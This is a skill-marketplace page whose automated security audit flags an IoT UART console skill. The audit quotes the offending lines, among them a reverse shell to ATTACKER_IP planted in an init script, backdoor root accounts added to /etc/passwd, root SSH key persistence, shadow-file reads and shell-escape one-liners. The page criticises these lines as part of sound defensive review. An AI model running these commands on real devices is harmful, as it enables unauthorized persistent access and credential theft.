Skills IoT UART Console (picocom)

📦

IoT UART Console (picocom)

Name: IoT UART Console (picocom)
Author: BrownFineSecurity

Content revision r3 Critical ⚙️ External commands🌐 Network access📁 Filesystem access🔑 Env variables

Inspect Authorized IoT UART Consoles

UART console work is difficult because devices use different prompts, baud rates, and terminal behavior. This skill provides picocom guidance and a serial helper to connect, log sessions, and collect device evidence during authorized testing.

Supports: Claude Codex Code(CC)

⚠️ 38 Poor

Do not auto-install this skill.

The canonical policy requires operator review before any installation action.

Install with my Agent

Copy this request to your Agent. It includes the canonical Skill page and manifest.

Agent request

Review the Skillstore skill "IoT UART Console (picocom)" from https://skillstore.io/skills/brownfinesecurity-iot-uart-console-picocom.md and its manifest at https://skillstore.io/api/skills/brownfinesecurity-iot-uart-console-picocom/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.

Your Agent should still show its plan and request any confirmation required by the security policy.

Agent-readable resources

Use these links when an AI agent, crawler, or script needs clean context instead of reading the full page.

Markdown detail GET /skills/brownfinesecurity-iot-uart-console-picocom.md Signed manifest GET /api/skills/brownfinesecurity-iot-uart-console-picocom/manifest Signed lockfile GET /api/skills/brownfinesecurity-iot-uart-console-picocom/lockfile

Test it

Using "IoT UART Console (picocom)". Connect to an authorized board and record the session.

Expected outcome:

Connection plan with the serial path and baud rate.
A local logging recommendation.
A checklist for confirming the device prompt.

Using "IoT UART Console (picocom)". The UART output is unreadable.

Expected outcome:

Likely causes such as an incorrect baud rate.
Common baud rates to test one at a time.
Steps to preserve the current session.

Security Audit

Critical

v14 • 7/18/2026 Open versioned report

The serial helper implements ordinary UART connection, prompt detection, output cleanup, and logging. However, the documentation includes explicit authentication bypass, privilege escalation, persistence, sensitive-data access, firmware transfer, and network-scanning guidance. Benign documentation and logging detections were marked false positive, while concrete harmful workflows were confirmed.

Files scanned

2,037

Lines analyzed

Review items

False positives ignored

Confirmed security concerns (37)

Critical

examples.md:269

SSH directory access

echo "ssh-rsa AAAAB3NzaC... your_key_here" >> /root/.ssh/authorized_keys

This adds an authorized key to root and creates persistent privileged remote access.

Critical

examples.md:270

SSH directory access

chmod 600 /root/.ssh/authorized_keys

This adds an authorized key to root and creates persistent privileged remote access.

Critical

examples.md:139

System password file access

cat /etc/shadow

This reads the password-hash database and exposes sensitive authentication material.

Critical

examples.md:280

System password file access

echo "backdoor:x:0:0:Backdoor:/root:/bin/sh" >> /etc/passwd

This modifies account data or turns it into shell execution, enabling persistent access.

Critical

examples.md:286

System password file access

echo "backdoor::0:0:Backdoor:/root:/bin/sh" >> /etc/passwd

This modifies account data or turns it into shell execution, enabling persistent access.

Critical

examples.md:316

System password file access

vi /etc/passwd

This modifies account data or turns it into shell execution, enabling persistent access.

Critical

examples.md:360

System password file access

sed -e '1s/.*//' /etc/passwd -e '1i#!/bin/sh' | sh

This modifies account data or turns it into shell execution, enabling persistent access.

Critical

SKILL.md:500

SSH directory access

echo "your_ssh_public_key" >> /root/.ssh/authorized_keys

This adds an authorized key to root and creates persistent privileged remote access.

Show all 37 confirmed findings

Critical

SKILL.md:501

SSH directory access

chmod 600 /root/.ssh/authorized_keys

This adds an authorized key to root and creates persistent privileged remote access.

Critical

SKILL.md:383

System password file access

cat /etc/shadow # If readable - major security issue!

This reads the password-hash database and exposes sensitive authentication material.

Critical

SKILL.md:512

System password file access

echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd

This modifies account data or turns it into shell execution, enabling persistent access.

Critical

SKILL.md:388

Sudoers file access

cat /etc/sudoers

The pattern has security relevance and is retained for fail-closed review.

Critical

SKILL.md:494-517

Unauthorized Persistence Workflow

The skill presents backdoor accounts, remote access, and startup behavior as normal next steps after access. This enables retention of unauthorized control beyond a legitimate assessment.

The section is explicitly titled Persistence and Further Access and gives concrete persistence options.

Critical

SKILL.md:572-592

Authentication Bypass and Shell-Escape Guidance

The skill normalizes obtaining root shells without authentication and escaping restricted shells. These actions are not required for safe serial-console operation.

The scenario explicitly describes booting to a root shell without authentication and lists shell-escape techniques.

High

examples.md:269

SSH host/auth files

echo "ssh-rsa AAAAB3NzaC... your_key_here" >> /root/.ssh/authorized_keys

This adds an authorized key to root and creates persistent privileged remote access.

High

examples.md:270

SSH host/auth files

chmod 600 /root/.ssh/authorized_keys

This adds an authorized key to root and creates persistent privileged remote access.

High

examples.md:246

Crypto seed/private key mention

# - Private keys

This searches for credentials or secret material on a device.

High

examples.md:277

Malware type keywords

**Method 2: Backdoor User Account**:

This provides a concrete backdoor or startup persistence step.

High

examples.md:280

Malware type keywords

echo "backdoor:x:0:0:Backdoor:/root:/bin/sh" >> /etc/passwd

This provides a concrete backdoor or startup persistence step.

High

examples.md:283

Malware type keywords

passwd backdoor

This provides a concrete backdoor or startup persistence step.

High

examples.md:286

Malware type keywords

echo "backdoor::0:0:Backdoor:/root:/bin/sh" >> /etc/passwd

This provides a concrete backdoor or startup persistence step.

High

examples.md:292

Malware type keywords

echo '#!/bin/sh' > /etc/init.d/S99backdoor

This provides a concrete backdoor or startup persistence step.

High

examples.md:293

Malware type keywords

echo 'while true; do' >> /etc/init.d/S99backdoor

This provides a concrete backdoor or startup persistence step.

High

examples.md:294

Malware type keywords

echo ' sleep 300' >> /etc/init.d/S99backdoor

This provides a concrete backdoor or startup persistence step.

High

examples.md:295

Malware type keywords

echo ' /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor

This provides a concrete backdoor or startup persistence step.

High

examples.md:296

Malware type keywords

echo 'done &' >> /etc/init.d/S99backdoor

This provides a concrete backdoor or startup persistence step.

High

examples.md:297

Malware type keywords

chmod +x /etc/init.d/S99backdoor

This provides a concrete backdoor or startup persistence step.

High

examples.md:168

UID/GID manipulation

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

This explicitly sets UID 0 and launches a shell.

High

examples.md:391

Network scanning tools

nmap -sn 192.168.1.0/24

This performs active network discovery and requires explicit scope.

High

SKILL.md:500

SSH host/auth files

echo "your_ssh_public_key" >> /root/.ssh/authorized_keys

This adds an authorized key to root and creates persistent privileged remote access.

High

SKILL.md:501

SSH host/auth files

chmod 600 /root/.ssh/authorized_keys

This adds an authorized key to root and creates persistent privileged remote access.

High

SKILL.md:415

Certificate/key files

find / -name "*.pem" 2>/dev/null

The pattern has security relevance and is retained for fail-closed review.

High

SKILL.md:416

Certificate/key files

find / -name "*.key" 2>/dev/null

The pattern has security relevance and is retained for fail-closed review.

High

SKILL.md:511

Malware type keywords

# Add a backdoor user

This provides a concrete backdoor or startup persistence step.

High

SKILL.md:512

Malware type keywords

echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd

This provides a concrete backdoor or startup persistence step.

High

SKILL.md:513

Malware type keywords

passwd backdoor

This provides a concrete backdoor or startup persistence step.

High

SKILL.md:516

Malware type keywords

echo "/path/to/backdoor &" >> /etc/rc.local

This provides a concrete backdoor or startup persistence step.

Capability review items (53)

These are real local capabilities that may be expected for this skill, so they require review but are not counted as confirmed malicious behavior.

High

examples.md:168

Python os.system

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

This obtains a shell, bypasses access controls, or establishes persistence.

High

examples.md:339

Python os.system

python -c 'import os; os.system("/bin/sh")'

This obtains a shell, bypasses access controls, or establishes persistence.

High

examples.md:168

Ruby/PHP system() call

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

This obtains a shell, bypasses access controls, or establishes persistence.

High

examples.md:339

Ruby/PHP system() call

python -c 'import os; os.system("/bin/sh")'

This obtains a shell, bypasses access controls, or establishes persistence.

High

examples.md:357

Ruby/PHP system() call

awk 'BEGIN {system("/bin/sh")}'

This obtains a shell, bypasses access controls, or establishes persistence.

High

examples.md:174

sudo privilege escalation

**Check sudo permissions**:

The documentation instructs elevated execution on the target.

High

examples.md:176

sudo privilege escalation

sudo -l

The documentation instructs elevated execution on the target.

High

examples.md:179

sudo privilege escalation

# Example: sudo vim -> :!/bin/sh

The documentation instructs elevated execution on the target.

High

examples.md:180

sudo privilege escalation

# Example: sudo find -> sudo find . -exec /bin/sh \;

The documentation instructs elevated execution on the target.

High

examples.md:406

Generic API/secret keys

grep -r "api_key" /var/www/ 2>/dev/null

This searches for credentials or secret material on a device.

High

SKILL.md:591

Ruby/PHP system() call

awk 'BEGIN {system("/bin/sh")}'

This obtains a shell, bypasses access controls, or establishes persistence.

High

SKILL.md:13

sudo privilege escalation

- Python 3 with pyserial library (`sudo pacman -S python-pyserial` on Arch, or `pip install pyserial

The documentation instructs elevated execution on the target.

High

SKILL.md:387

sudo privilege escalation

sudo -l

The documentation instructs elevated execution on the target.

Medium

examples.md:88

Unix shell invocation

U-Boot> setenv bootargs "${bootargs} init=/bin/sh"

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

examples.md:98

Unix shell invocation

5. **Once booted with init=/bin/sh**:

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

examples.md:116

Unix shell invocation

setenv bootargs "${bootargs} init=/bin/sh"

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

examples.md:158

Unix shell invocation

find /etc -exec /bin/sh \;

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

examples.md:161

Unix shell invocation

vim -c ':!/bin/sh'

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

examples.md:168

Unix shell invocation

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

examples.md:171

Unix shell invocation

perl -e 'exec "/bin/sh";'

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

examples.md:179

Unix shell invocation

# Example: sudo vim -> :!/bin/sh

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

examples.md:180

Unix shell invocation

# Example: sudo find -> sudo find . -exec /bin/sh \;

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

examples.md:190

Unix shell invocation

echo '* * * * * /bin/sh -c "chmod u+s /bin/sh"' >> /etc/crontab

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

examples.md:280

Unix shell invocation

echo "backdoor:x:0:0:Backdoor:/root:/bin/sh" >> /etc/passwd

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

examples.md:286

Unix shell invocation

echo "backdoor::0:0:Backdoor:/root:/bin/sh" >> /etc/passwd

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

examples.md:292

Unix shell invocation

echo '#!/bin/sh' > /etc/init.d/S99backdoor

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

examples.md:295

Unix shell invocation

echo ' /bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /etc/init.d/S99backdoor

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

examples.md:318

Unix shell invocation

:!/bin/sh

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

examples.md:321

Unix shell invocation

:set shell=/bin/sh

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

examples.md:339

Unix shell invocation

python -c 'import os; os.system("/bin/sh")'

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

examples.md:342

Unix shell invocation

perl -e 'exec "/bin/sh";'

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

examples.md:345

Unix shell invocation

ruby -e 'exec "/bin/sh"'

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

examples.md:354

Unix shell invocation

find / -name anything -exec /bin/sh \;

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

examples.md:357

Unix shell invocation

awk 'BEGIN {system("/bin/sh")}'

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

examples.md:360

Unix shell invocation

sed -e '1s/.*//' /etc/passwd -e '1i#!/bin/sh' | sh

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

examples.md:228

Hardcoded IP address

nc 192.168.1.100 4444 < /tmp/rootfs.bin

This sends firmware data to a fixed network host and creates an exfiltration path.

Medium

examples.md:391

Hardcoded IP address

nmap -sn 192.168.1.0/24

This performs active subnet discovery and requires explicit scope.

Medium

examples.md:267

Hidden file access

mkdir -p /root/.ssh

This creates and populates root SSH authorization files for persistent access.

Medium

examples.md:268

Hidden file access

chmod 700 /root/.ssh

This creates and populates root SSH authorization files for persistent access.

Medium

examples.md:269

Hidden file access

echo "ssh-rsa AAAAB3NzaC... your_key_here" >> /root/.ssh/authorized_keys

This creates and populates root SSH authorization files for persistent access.

Medium

examples.md:270

Hidden file access

chmod 600 /root/.ssh/authorized_keys

This creates and populates root SSH authorization files for persistent access.

Medium

SKILL.md:443

Unix shell invocation

# Modify boot arguments (e.g., init=/bin/sh for root shell)

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

SKILL.md:444

Unix shell invocation

setenv bootargs "${bootargs} init=/bin/sh"

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

SKILL.md:512

Unix shell invocation

echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

SKILL.md:576

Unix shell invocation

setenv bootargs "${bootargs} init=/bin/sh"

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

SKILL.md:588

Unix shell invocation

vi # Then :!/bin/sh

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

SKILL.md:590

Unix shell invocation

find / -exec /bin/sh \;

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

SKILL.md:591

Unix shell invocation

awk 'BEGIN {system("/bin/sh")}'

This obtains a shell, bypasses access controls, or establishes persistence.

Medium

SKILL.md:293

Hardcoded IP address

telnet 192.168.1.1

This sends firmware data to a fixed network host and creates an exfiltration path.

Medium

SKILL.md:499

Hidden file access

mkdir -p /root/.ssh

This creates and populates root SSH authorization files for persistent access.

Medium

SKILL.md:500

Hidden file access

echo "your_ssh_public_key" >> /root/.ssh/authorized_keys

This creates and populates root SSH authorization files for persistent access.

Medium

SKILL.md:501

Hidden file access

chmod 600 /root/.ssh/authorized_keys

This creates and populates root SSH authorization files for persistent access.

Medium

SKILL.md:502

Hidden file access

chmod 700 /root/.ssh

This creates and populates root SSH authorization files for persistent access.

Risk Factors

⚙️ External commands (50)

examples.md:168 examples.md:339 examples.md:168 examples.md:339 examples.md:357 examples.md:421 examples.md:57 examples.md:88 examples.md:98 examples.md:116 examples.md:158 examples.md:161 examples.md:165 examples.md:168 examples.md:171 examples.md:179 examples.md:180 examples.md:190 examples.md:192 examples.md:280 examples.md:286 examples.md:292 examples.md:295 examples.md:318 examples.md:321 examples.md:329 examples.md:333 examples.md:339 examples.md:342 examples.md:345 examples.md:348 examples.md:354 examples.md:357 examples.md:360 examples.md:174 examples.md:176 examples.md:179 examples.md:180 OBSERVING_SESSIONS.md:314 OBSERVING_SESSIONS.md:81 OBSERVING_SESSIONS.md:90 OBSERVING_SESSIONS.md:117 OBSERVING_SESSIONS.md:289 OBSERVING_SESSIONS.md:301 SKILL.md:13 SKILL.md:19 SKILL.md:23 SKILL.md:26-29 SKILL.md:29-40 SKILL.md:40-46

🌐 Network access (12)

examples.md:228 examples.md:391 OBSERVING_SESSIONS.md:51 SKILL.md:291 SKILL.md:300 SKILL.md:301 SKILL.md:302 SKILL.md:655 SKILL.md:656 SKILL.md:293 SKILL.md:453 SKILL.md:454

📁 Filesystem access (50)

🔑 Env variables (1)

examples.md:406

Detected Patterns

SSH directory access×4Malware type keywords×14System password file access×7UID/GID manipulationNetwork scanning toolsSudoers file access

Audited by: claude View Audit History →

Share & cite this report

Share the versioned assessment report, neutral badge, embed card, and citations. Skillstore reports evidence without deciding whether this Skill is safe.

Open versioned report

Copy report link

https://skillstore.io/skills/brownfinesecurity-iot-uart-console-picocom/audits/14?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_report

Markdown badge

[![Skillstore security assessment](https://skillstore.io/badges/skills/brownfinesecurity-iot-uart-console-picocom/security.svg)](https://skillstore.io/skills/brownfinesecurity-iot-uart-console-picocom?utm_source=security_passport_badge)

HTML badge

<a href="https://skillstore.io/skills/brownfinesecurity-iot-uart-console-picocom?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/brownfinesecurity-iot-uart-console-picocom/security.svg" alt="Skillstore security assessment" loading="lazy"></a>

Embed card

<iframe src="https://skillstore.io/embed/skills/brownfinesecurity-iot-uart-console-picocom.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>

Academic citations (APA · BibTeX · CFF)

APA citation

BrownFineSecurity. (2026). IoT UART Console (picocom) security audit report (audit version 14) [Author version unspecified]. Skillstore. https://skillstore.io/skills/brownfinesecurity-iot-uart-console-picocom/audits/14

BibTeX citation

@techreport{brownfinesecurity-brownfinesecurity-iot-uart-console-picocom-2026,
  author = {BrownFineSecurity},
  title = {IoT UART Console (picocom) security audit report (audit version 14)},
  institution = {Skillstore},
  year = {2026},
  number = {14},
  url = {https://skillstore.io/skills/brownfinesecurity-iot-uart-console-picocom/audits/14},
  note = {Author version unspecified}
}

CITATION.cff

cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "IoT UART Console (picocom) security audit report (audit version 14)"
version: "unspecified"
type: report
authors:
  - name: "BrownFineSecurity"
date-released: "2026-07-18"
url: "https://skillstore.io/skills/brownfinesecurity-iot-uart-console-picocom/audits/14"
identifiers:
  - type: other
    value: "skillstore:brownfinesecurity-iot-uart-console-picocom:audit:14"
    description: "Skillstore immutable audit report identifier"

Skillstore Score

Why this score Evidence Confidence: Medium

Architecture

Maintainability

Content

Community

Spec Compliance

What You Can Build

Document a device console

Connect to an owned lab device, identify its prompt, and retain a local session record.

Troubleshoot serial access

Resolve baud-rate, permissions, and terminal-output issues while diagnosing a development board.

Collect assessment evidence

Capture authorized console output for a reproducible IoT security assessment report.

Try These Prompts

Start a logged connection

Help me connect to my authorized lab device on its UART adapter. Ask for the device path and baud rate, then use session logging.

Identify console state

I have authorized access to an IoT UART console. Help me identify whether it is a login prompt, shell, or bootloader without modifying the device.

Collect read-only evidence

For my authorized device assessment, plan a read-only UART enumeration and record the outputs I should document.

Prepare firmware backup

I own this device and need an offline firmware backup. Explain safeguards, confirm partition details, and avoid writing to flash.

Best Practices

Confirm written authorization and device ownership before connecting or issuing commands.
Begin with read-only checks and keep a timestamped session log outside shared temporary directories.
Back up firmware and document the original console state before any bootloader change.

Avoid

Do not use default credentials, shell escapes, or persistence instructions without explicit authorization.
Do not modify boot arguments, flash partitions, accounts, or startup scripts during initial discovery.
Do not store sensitive UART logs in world-accessible temporary paths.